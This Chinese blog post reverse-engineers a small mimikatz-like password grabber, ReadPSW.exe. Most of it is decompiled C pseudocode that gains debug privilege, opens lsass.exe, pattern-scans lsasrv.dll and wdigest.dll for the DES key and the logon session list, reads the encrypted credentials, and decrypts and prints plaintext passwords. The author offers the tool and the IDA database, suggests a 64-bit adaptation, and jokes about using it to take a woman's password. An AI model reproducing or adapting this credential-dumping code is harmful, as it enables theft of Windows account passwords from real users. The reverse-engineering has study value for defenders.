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對windows密碼抓取神器mimikatz的逆向分析

  mimikatz可謂獲取windows明文密碼神器,新版本更是加上了64位支持。用過一個小型獲取明文密碼程序,只有一個可執(zhí)行文件ReadPSW.exe,通過逆向?qū)懗隽嗽创a,稍微改改可能也可以支持64位。分享一下逆向過程和工作原理。

  了解mimikatz

  只要借用一下電腦,便可輕松拿到密碼……“女神,借用電腦一看可否?”

  大神們都知道的東西吧,滲透測試常用工具。法國一個牛B的人寫的輕量級調(diào)試器,可以幫助安全測試人員抓取Windows密碼。

  mimikatz 最近發(fā)布了它的2.0版本,抓密碼命令更加簡單了,估計作者也看到了對它這個神器最多的研究就是直接抓密碼,為神馬不發(fā)布一個直接一鍵版,哈哈哈哈哈。新功能還包括能夠通過獲取的kerberos登錄憑據(jù),繞過支持RestrictedAdmin模式的win8或win2012svr的遠程終端(RDP) 的登陸認證。建議默認禁止RestrictedAdmin模式登錄。更多內(nèi)容點我

  逆向過程

  我喜歡先用IDA看大致流程,遇到難以靜態(tài)看出來的函數(shù)再用OD或者windbg。IDA F5 main函數(shù),一段一段的看。

  int __cdecl main_0()

  {

  int hdll; // eax@15

  HMODULE ModuleSecur32; // eax@15

  int LsaEnumerateLogonSessions; // eax@15

  int LsaGetLogonSessionData; // eax@15

  int LsaFreeReturnBuffer; // eax@15

  int bcrypt; // eax@27

  int hbcrypt; // eax@27

  int bcryptprimitives; // eax@27

  int hbcryptprimitives; // eax@27

  int status7; // eax@27

  const void *Base; // [sp+7Ch] [bp-2E0h]@25

  SIZE_T nSize; // [sp+80h] [bp-2DCh]@25

  int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15

  int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15

  int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15

  HMODULE Secur32; // [sp+94h] [bp-2C8h]@15

  LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15

  int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15

  struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5

  HANDLE Lsass; // [sp+13Ch] [bp-220h]@3

  LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18

  LPCVOID *First; // [sp+340h] [bp-1Ch]@20

  int LogonSessionNow; // [sp+344h] [bp-18h]@18

  int ListEntry; // [sp+348h] [bp-14h]@15

  SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18

  int hDllLsasrv; // [sp+358h] [bp-4h]@15

  變量名大多是修改過的,通過分析子函數(shù)的功能做相應(yīng)的改變,看起來方便一些。

  memset(&tt, -858993460, 0x320u);

  if ( EnableDebugPrivilege() != 1 )

  printf("EnableDebugPrivilege fail !");

  首先提權(quán),比較簡單:

  pToken = &TokenHandle;

  dwAccess = TOKEN_ALL_ACCESS;

  ProcessHandle = GetCurrentProcess();

  retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);

  status = OpenProcessToken(retProcessHandle, dwAccess, pToken);

  status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);

  NewState.PrivilegeCount = 1;

  NewState.Privileges[0].Luid.LowPart = Luid.LowPart;

  NewState.Privileges[0].Luid.HighPart = Luid.HighPart;

  NewState.Privileges[0].Attributes = 2;

  status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);

  接著main函數(shù)流程:

  Lsass = GetProcessHandle("lsass.exe");

  if ( Lsass )

  {

  offset_one = 0;

  offset_two = -1;

  memset(&VersionInformation, 0, 0x94u);

  VersionInformation.dwOSVersionInfoSize = 148;

  status = GetVersionExA(&VersionInformation);

  _chkesp(&t == &t, status, &v48);

  if ( VersionInformation.dwMajorVersion == 5 )

  {

  if ( VersionInformation.dwMinorVersion == 1 )

  {

  offset_one = 36;

  offset_two = 2;

  }

  else

  {

  if ( VersionInformation.dwMinorVersion == 2 )

  {

  offset_one = 28;

  offset_two = 4;

  }

  }

  }

  else

  {

  if ( VersionInformation.dwMajorVersion == 6 )

  {

  offset_one = 32;

  offset_two = 1;

  }

  }

  if ( offset_two == -1 )

  {

  status12 = CloseHandle(Lsass);

  _chkesp(&t == &t, status12, &v48);

  returned = 0;

  }

  上面工作主要是:獲取lsass.exe進程句柄、根據(jù)不同版本賦值兩個偏移量。可以看出支持xp和2003,之后版本vista、win7等使用同一偏移量。

  else

  {

  hdll = LoadLibraryA("lsasrv.dll");

  hDllLsasrv = _chkesp(&t == &t, hdll, &v48);

  LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);

  這個GetFunctionAddr是我重命名的,跟進去看一下實現(xiàn)就知道了:

  int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

  {

  return RealGetFunctionAddr(Module, Limit, Symbol, Length);

  }

  是一個跳轉(zhuǎn),接著跟進:

  int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

  {

  while ( Length + Module <= Limit )

  {

  label = Symbol;

  for ( i = 0; i < Length && *Module == *label; ++i )

  {

  ++Module;

  ++label;

  }

  if ( i == Length )

  break;

  ModuleModule = Module – i + 1;

  }

  return result;

  }

  是用特征碼查找函數(shù)地址的,想知道是什么函數(shù)最好用windbg跟一下,發(fā)現(xiàn)找到了lsasrv.dll的LsaUnprotectMemory 函數(shù),這里我也對變量名進行了重命名。該函數(shù)用于解密LsaProtectMemory加密內(nèi)存,這兩個函數(shù)在LSA中用得非常多。

  l_LogSessList = GetWdigestl_LogSessList();

  DesKey(Lsass, hDllLsasrv, offset_two);

  這兩個函數(shù)挺關(guān)鍵,需要結(jié)合OD動態(tài)調(diào)試,先看第一個,中間有個類似上面的跳轉(zhuǎn),直接看實現(xiàn)函數(shù):

  unsigned int __cdecl RealGetFunction()

  {

  HMODULE hModule; // eax@1

  unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1

  unsigned int returned; // [sp+50h] [bp-Ch]@1

  int SpInstanceInit; // [sp+54h] [bp-8h]@1

  HMODULE hLibModule; // [sp+58h] [bp-4h]@1

  memset(&v6, -858993460, 0x50u);

  t1 = LoadLibraryA("wdigest.dll");

  hModule = _chkesp(&v5 == &v5, t1, &v11);

  hLibModule = hModule;

  v2 = GetProcAddress(hModule, "SpInstanceInit");

  SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);

  moduleBase = hLibModule;

  returned = 0;

  while ( moduleBase < SpInstanceInit && moduleBase )

  {

  returned = moduleBase;

  moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);

  }

  returned = *(returned – 4);

  status = FreeLibrary(hLibModule);

  _chkesp(&v5 == &v5, status, &v11);

  return returned;

  首先加載wdigest.dll模塊,這里有詳細的介紹。然后獲取SpInstanceInit的地址,接著是一個查找函數(shù)的循環(huán),根據(jù)特征碼在SpInstanceInit地址低位查找某個地址,使用windbg可以看到要找的東西:

  0:000> ln eax

  (742ec29c) +0xc29c

  這并不是一個函數(shù),具體的作用現(xiàn)在還不知道。后面會用到。

  看下面的函數(shù),這個函數(shù)實際上是用來產(chǎn)生DES的密鑰:

  const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)

  {

  int status; // eax@1

  const void *dwResult; // eax@1

  int Key; // eax@4

  char buffer; // [sp+Ch] [bp-68h]@1

  int OSVersion; // [sp+4Ch] [bp-28h]@1

  unsigned int HeapReverse; // [sp+50h] [bp-24h]@1

  const void *Buffer; // [sp+54h] [bp-20h]@4

  LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4

  LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1

  SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1

  SIZE_T nSize; // [sp+64h] [bp-10h]@1

  int pImageNtHeaders; // [sp+68h] [bp-Ch]@1

  int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1

  int DataSECTION; // [sp+70h] [bp-4h]@1

  int v27; // [sp+74h] [bp+0h]@1

  memset(&buffer, -858993460, 0x68u);

  hTmpDllLsasrv = hDllLsasrv;

  DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;

  lpBuffer = (hDllLsasrv + *(DataSECTION + 12)); // 獲取lsasrv.dll的數(shù)據(jù)區(qū)

  nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12; // 數(shù)據(jù)區(qū)大小

  status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //讀取數(shù)據(jù)區(qū)內(nèi)容

  _chkesp(&v15 == &v15, status, &v27);

  pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);

  HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);

  dwResult = offset;

  OSVersion = offset;

  if ( offset == 1 )

  {

  v8 = LoadLibraryA("bcrypt.dll");

  _chkesp(&v15 == &v15, v8, &v27);

  v9 = LoadLibraryA("bcryptprimitives.dll");

  _chkesp(&v15 == &v15, v9, &v27);

  v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3儀E鑌b", 0xCu); //根據(jù)特征碼查找存放DES_KEY的地址

  g_pDESXKey = v10;

  g_pDESXKey = *(v10 – 1);

  v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

  _chkesp(&v15 == &v15, v11, &v27);

  v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); // 通過兩次內(nèi)存查找找到KEY

  _chkesp(&v15 == &v15, v12, &v27);

  lpBuffer = g_pDESXKey;

  *g_pDESXKey = &t_Key;

  v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);

  _chkesp(&v15 == &v15, v13, &v27);

  lpBuffer = &lpBaseAddress;

  lpBaseAddress = &unk_42BFB8;

  v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);

  dwResult = _chkesp(&v15 == &v15, v14, &v27);

  dword_42AFC4 = &unk_42ADB8;

  }

  else

  {

  if ( OSVersion == 2 || OSVersion == 4 )

  {

  Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);

  g_pDESXKey = Key;

  g_pDESXKey = *(Key + 12);

  v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

  _chkesp(&v15 == &v15, v6, &v27);

  v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);

  _chkesp(&v15 == &v15, v7, &v27);

  dwResult = g_pDESXKey;

  lpBuffer = g_pDESXKey;

  *g_pDESXKey = &t_Key;

  }

  }

  return dwResult;

  }

  根據(jù)最初得到的偏移,讀取進程地址空間,獲取DES的密鑰。了解了這兩個函數(shù)內(nèi)容接著回歸main函數(shù):

  status13 = LoadLibraryA("Secur32.dll");

  ModuleSecur32 = _chkesp(&t == &t, status13, &v48);

  Secur32 = ModuleSecur32;

  LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");

  pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);

  LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");

  pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);

  LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");

  pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);

  us1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);

  加載secur32.dll,然后獲取幾個函數(shù)的地址,枚舉登陸會話和獲取登陸會話數(shù)據(jù)。接著調(diào)用LsaEnumerateLogonSessions得到當(dāng)前登錄的會話個數(shù)以及所有會話組成的列表。MSDN上說明了這個函數(shù),會返回會話的LUID。

  _chkesp(&t == &t, status1, &v48);

  for ( i = 0; i < count; ++i )

  {

  LogonSessionNow = ListEntry + 8 * i;// 根據(jù)這里可以知道

  output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i); // 這里輸出登陸用戶名

  進入output_name_session看看:

  int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)

  {

  int status; // eax@1

  int status1; // eax@1

  char v6; // [sp+0h] [bp-50h]@1

  char v7; // [sp+Ch] [bp-44h]@1

  int LogonSessionData; // [sp+4Ch] [bp-4h]@1

  int v9; // [sp+50h] [bp+0h]@1

  memset(&v7, -858993460, 0x44u);

  status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);

  _chkesp(&v6 == &v6, status, &v9);

  printf("UserName: %S ", *(LogonSessionData + 16));

  printf("LogonDomain: %S ", *(LogonSessionData + 24));

  status1 = pLsaFreeReturnBuffer(LogonSessionData);

  return _chkesp(&v6 == &v6, status1, &v9);

  }

  這里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer,輸出登陸名和域名。

  status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead); // 這里讀取之前獲取的那個不明地址內(nèi)容到List

  _chkesp(&t == &t, status3, &v48);

  while ( List[0] != l_LogSessList )

  {

  status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);

  _chkesp(&t == &t, status4, &v48);

  First = &List[4];

  if ( List[4] == *LogonSessionNow )

  {

  if ( First[1] == *(LogonSessionNow + 4) ) // 這個First[1]看著太別扭了,實際上就是比較List[4]和枚舉到的會話LUID值

  break;// 這里可以知道之前那個不明地址<Unloaded_wdigest.dll>+0xc29c是個列表

  }

  }

  if ( List[0] == l_LogSessList )

  {

  printf("Specific LUID NOT found ");

  }

  else

  {

  nSize = 0;

  v28 = (offset_one + First);

  nSize = *(offset_one + First + 2);

  Base = *(offset_one + First + 4); // 還是使用了First,不要忘記First是從當(dāng)時那個不明地址處讀取的值

  memset(Buffer2, 0, 0x100u);

  status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);

  _chkesp(&t == &t, status2, &v47);// 這里讀到加密之后的密碼。整個流程就清楚了,使用LsaEnumerateSessions獲取LUIDs,與之前通過特征碼找到的l_LogSessList結(jié)合找出密碼。l_LogSessList保存了密碼的長度和存放地址以及會話LUID,是個重要的未公開結(jié)構(gòu)體。

  status5 = (LsaUnprotectMemory)(Buffer2, nSize);

  _chkesp(&t == &t, status5, &v47);

  printf("password: %S ", Buffer2);

  }

  后面是一些釋放dll和內(nèi)存的工作,不再贅述。程序和IDA數(shù)據(jù)庫右鍵圖片可以得到。

 

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